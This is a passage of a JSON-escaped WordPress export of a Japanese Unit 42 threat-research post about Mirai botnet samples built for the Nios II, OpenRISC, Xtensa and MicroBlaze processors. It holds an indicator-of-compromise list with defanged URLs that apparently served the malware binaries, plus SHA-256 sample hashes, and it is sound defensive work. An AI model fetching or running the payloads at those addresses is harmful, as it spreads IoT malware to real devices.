Alliance(CTA \u30b5\u30a4\u30d0\u30fc\u8105\u5a01\u30a2\u30e9\u30a4\u30a2\u30f3\u30b9)\u306e\u30e1\u30f3\u30d0\u30fc\u3068\u5171\u6709\u3057\u307e\u3057\u305f\u3002CTA \u306e\u30e1\u30f3\u30d0\u30fc\u306f\u3053\u306e\u30a4\u30f3\u30c6\u30ea\u30b8\u30a7\u30f3\u30b9\u3092\u4f7f\u7528\u3057\u3066\u3001\u304a\u5ba2\u69d8\u306b\u4fdd\u8b77\u3092\u8fc5\u901f\u306b\u63d0\u4f9b\u3057\u3001\u60aa\u610f\u306e\u3042\u308b\u30b5\u30a4\u30d0\u30fc\u653b\u6483\u8005\u3092\u4f53\u7cfb\u7684\u306b\u963b\u5bb3\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002Cyber Threat Alliance\u306e\u8a73\u7d30\u306b\u3064\u3044\u3066\u306f\u3001\u6b21\u306eWeb\u30b5\u30a4\u30c8\u3092\u3054\u89a7\u304f\u3060\u3055\u3044: <a href=\"https:\/\/www.cyberthreatalliance.org\">www.cyberthreatalliance.org<br \/>\n<\/a><\/p>\n<h2><a id=\"post-101689-ioc\"><\/a>IOC<\/h2>\n<p><strong>URL<\/strong><\/p>\n<ul>\n<li>178[.]62.227.13\/wrgjwrgjwrg246356356356\/hmicroblazebe<\/li>\n<li>178[.]62.227.13\/wrgjwrgjwrg246356356356\/hmicroblazeel<\/li>\n<li>178[.]62.227.13\/wrgjwrgjwrg246356356356\/hnios2<\/li>\n<li>178[.]62.227.13\/wrgjwrgjwrg246356356356\/hopenrisc<\/li>\n<li>178[.]62.227.13\/wrgjwrgjwrg246356356356\/hxtensa<\/li>\n<\/ul>\n<p><strong>Xilinx MicroBlaze \u306e\u30b5\u30f3\u30d7\u30eb<\/strong><\/p>\n<ul>\n<li>006b73c03760f168a5d71c0edd50e9a437aca7b3db1dbecac75ea2ef9e74f54f<\/li>\n<li>233790b3a74245c4660cadec23145246484154abd01edd45836c31598f96b13d<\/li>\n<li>26298ff73035ef2dc92cda118d476933d3014b39ac478865bd86d28aa5457459<\/li>\n<li>2d7ed9ccd1b94f58aff30f7a7d798dd03b6a0f5bed2a529e1e13d8d78e9ae289<\/li>\n<li>3891a82075bd173bb1e052c27f1be946559aaeb65e6a4c761ba8bbd2cbccd3fb<\/li>\n<li>43c5efda1875fd809f97b49d296f34e1292ed86e5a4197460764fe67b98294ef<\/li>\n<li>44f1d6144df90adea1b7b482c84946257c9fb70a9c195a6846f416de80b5e6fd<\/li>\n<li>4cb4c5cbf7eb646bdc08640f4f9e9a4383a9c7ac4e26be0caeb9dc904670c5bf<\/li>\n<li>4d8a4841a2f4a61ed6df2be79dd7ea1eb2052cee6eba4d8de30add7908ebb779<\/li>\n<li>537c2d136a805fe1b703709b0794e25f91f2136027287fa4817080330c7989ce<\/li>\n<li>683b6f8209725ae0e715cda5a1cd35bcaacb5d45ae8e487c98dce2c01c91c887<\/li>\n<li>9b1eab0283fd6948a9a181abaa2f6b3c26f2b0077c8a8b32e763790dd64d2a22<\/li>\n<li>a736d6ebf9596872f3c92ac486be2588ccf0c53cf15a3897a97c83ca1525ff8d<\/li>\n<li>a9dbcc2681d427f9820ca9c5ec120b9bf3e83c9856e89736884ee4dc26712e50<\/li>\n<li>bdd19fa8a7c0e3a5ebbb14d5885cb09a863122ad2c78f53361db0c194045d491<\/li>\n<li>c0f18a5113b341faacb9f647cee954a237925cc62d5daff559a8a880702273c1<\/li>\n<li>c75b3c52c0f5eebfd4c44c3069a393e824d455c7405d57ee99fd7613b8211b31<\/li>\n<li>d28d05477ddbb1e3de330e98a2cb199ed76df0d1c942c467c977c9b70771477a<\/li>\n<li>de6a0d2b8b4323bc06a6cd02b0042fc92c36319696dafafd057e905d359f60ea<\/li>\n<li>e740f780f2b91a41c5024115bbed607b0a75e52fcf4f96b86d0f8adda0c97ddf<\/li>\n<\/ul>\n<p><strong>OpenRISC \u306e\u30b5\u30f3\u30d7\u30eb<\/strong><\/p>\n<ul>\n<li>09f8885872bc47e03608d6725f8735074c8b915ca08540e367921223058c108a<\/li>\n<li>199f1976cb5fb39a9c395a28e2178476b6eaec0f3499a5a11912f103dcd64d00<\/li>\n<li>1efdfc79d0c4b779966dfcae7d4f0a1f17f043e098ec0f90ff12a7ebc3c3f1f1<\/li>\n<li>24b4c838dd41c0d812f747e48cf24be4f2265bce8f1e4d0d8ca6a7fc5649019b<\/li>\n<li>59b7a7baf4c239786fdf5ceca9084d829c6f6fc0603a524df313b2ef4958e4c2<\/li>\n<li>6183c7c87ff7cc3721c000af73714be27884a22057c4dc69bccd34571353f327<\/li>\n<li>74a45ff17678e0bddf383b5229785dda04c515e778bc9421d9396168f1cf3c3d<\/li>\n<li>76c9e543a0386994031b4905533eccd05400b3bb12fefc94f1eb65af5debe986<\/li>\n<li>b6359a84bd36a3ce8a13f1306ad74d757c384a772691c228c9a00a5246d828fa<\/li>\n<li>b758405fd18c4518878868163472bcb4e988e4ecbc3312b9756d231b80646816<\/li>\n<li>b89196b9773c6c809a2547434ce3e9de8a494ed7b338e013fd3f2818b4b54fd1<\/li>\n<li>c33080bea85616fd1251f877cd9ff570dd6a2e2f24cc20254754cb2c74a2375e<\/li>\n<li>d21880f4f919c410d0f2ee447716a2f7288dbaa21ec7de8601f0fc999b4d3d45<\/li>\n<li>f646c45feb0ccab4caf61bdb4aa45b0295614b2e881ad9c594ccaec2ea886671<\/li>\n<\/ul>\n<p><strong>Tensilica Xtensa \u306e\u30b5\u30f3\u30d7\u30eb<\/strong><\/p>\n<ul>\n<li>006436f282f46f49eb97c2e119622ac61086a908623ca741eb29caeca22c797a<\/li>\n<li>28bb80c687cb0aeea0b2d53dd5bf34f21f7292e5708b0aefeea25aebe2ff93af<\/li>\n<li>5647168f9818dc40599d057c426424709bde5722c62088ecff64b97d3acfc4a7<\/li>\n<li>57cc6875ae0c571ef1edaae72d82b0da6e60331ad4b3ad34c922b9e4612b8779<\/li>\n<li>61893583675935ac7a4857542f13d513ffbb176b302a72d26d7ec39fd931decb<\/li>\n<li>ac4a00bfe1031e19eb9a101d61ef5267627ebaeb2aca4b962c7bb1b5a59e337c<\/li>\n<li>b0cef399ea8ec2244aebb3506a2bb60c64c3921e816c0fc9752caf84c6cf196d<\/li>\n<li>b5da0b6070d9cf3a3d628864e0f0860c8fc967ce692c0142f5a6dafee64079f6<\/li>\n<\/ul>\n<p><strong>Altera Nios II \u306e\u30b5\u30f3\u30d7\u30eb<\/strong><\/p>\n<ul>\n<li>0c35f2902d92ef4f46e4643d11c46bde57027bb14e2b75c027a50fe7efc4f358<\/li>\n<li>3446c2ed11a6a5e02702afd5f7082eb435b2922096443cabd45d54b5b7582cc1<\/li>\n<li>48c760ba6b6a29e2a90bdb88bf96486c158f2b47ee9e1c560a47071e39bb5e87<\/li>\n<li>5876c9ac609ece0e051c57b380489490bc78e40c796b637af1e80adbdb9f70dc<\/li>\n<li>a457090fb6df8cb93c91ec6b5d89927f7a6f9e247389d945d44731351a367b4e<\/li>\n<li>ed5e313821bf3a20d226c1b5f2b0ba7f1897d0778c27620017b852579e3e1894<\/li>\n<li>fae498477388c53c8c623fd8ddb710cc286584200767907b104d55f916d37c05<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6982\u8981 2019\u5e742\u6708\u4e0b\u65ec\u3001Unit 42\u306f\u3053\u308c\u307e\u3067\u898b\u305f\u3053\u3068\u306e\u306a\u3044\u65b0\u3057\u3044\u30d7\u30ed\u30bb\u30c3\u30b5\/\u30a2\u30fc\u30ad\u30c6\u30af\u30c1\u30e3\u7528\u306b\u30b3\u30f3\u30d1\u30a4\u30eb\u3055\u308c\u305fMirai\u306e\u30b5\u30f3\u30d7\u30eb\u3092\u767a\u898b\u3057\u307e\u3057\u305f\u3002\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u306f2016\u5e7410\u6708\u306b\u516c\u958b\u3055\u308c\u3066\u3044\u308b \u3082\u306e\u306e\u3001\u3053\u306e\u30de\u30eb\u30a6\u30a7<\/p>\n","protected":false},"author":63,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[4321,1974,4428],"tags":[4689,5768,4679,4553,4547],"product_categories":[4346,4442,4443,4456],"coauthors":[887],"class_list":["post-101689","post","type-post","status-publish","format-standard","hentry","category-threat-research","category-malware-ja","category-threat-research-ja","tag-botnet-ja","tag-ddos","tag-iot-ja","tag-linux-ja","tag-mirai-ja","product_categories-advanced-threat-prevention","product_categories-advanced-threat-prevention-ja","product_categories-advanced-url-filtering-ja","product_categories-next-generation-firewall-ja"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v27.0 (Yoast SEO v27.0) - https:\/\/yoast.com\/product\/yoast-seo-premium-wordpress\/ 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content=\"article\" \/>\n<meta property=\"og:title\" content=\"Mirai\u3001\u65b0\u305f\u306a\u30d7\u30ed\u30bb\u30c3\u30b5\u3092\u653b\u6483\u30b5\u30fc\u30d5\u30a7\u30b9\u306b\" \/>\n<meta property=\"og:description\" content=\"2019\u5e742\u6708\u3001Altera Nios II\u3001OpenRISC\u3001Tensilica Xtensa\u3001Xilinx MicroBlaze\u30d7\u30ed\u30bb\u30c3\u30b5\u7528\u306b\u30b3\u30f3\u30d1\u30a4\u30eb\u3055\u308c\u305fMirai\u304c\u767a\u898b\u3055\u308c\u307e\u3057\u305f\u3002\u65b0\u305f\u306a\u30d7\u30ed\u30bb\u30c3\u30b5\u3078\u306e\u5c55\u958b\u306f\u5897\u3048\u7d9a\u3051\u308bIoT\u30c7\u30d0\u30a4\u30b9\u306b\u6a19\u7684\u304c\u62e1\u5f35\u3055\u308c\u3066\u3044\u308b\u3053\u3068\u3092\u793a\u3057\u307e\u3059\u3002\" \/>\n<meta property=\"og:url\" content=\"https:\/\/unit42.paloaltonetworks.com\/ja\/mirai-compiled-for-new-processor-surfaces\/\" \/>\n<meta property=\"og:site_name\" content=\"Unit 42\" \/>\n<meta property=\"article:published_time\" content=\"2019-04-08T19:00:56+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2019-12-02T05:11:19+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/12\/word-image-30.png\" \/>\n<meta name=\"author\" content=\"Ruchna Nigam\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:title\" content=\"Mirai\u3001\u65b0\u305f\u306a\u30d7\u30ed\u30bb\u30c3\u30b5\u3092\u653b\u6483\u30b5\u30fc\u30d5\u30a7\u30b9\u306b\" \/>\n<meta name=\"twitter:description\" content=\"2019\u5e742\u6708\u3001Altera Nios II\u3001OpenRISC\u3001Tensilica Xtensa\u3001Xilinx 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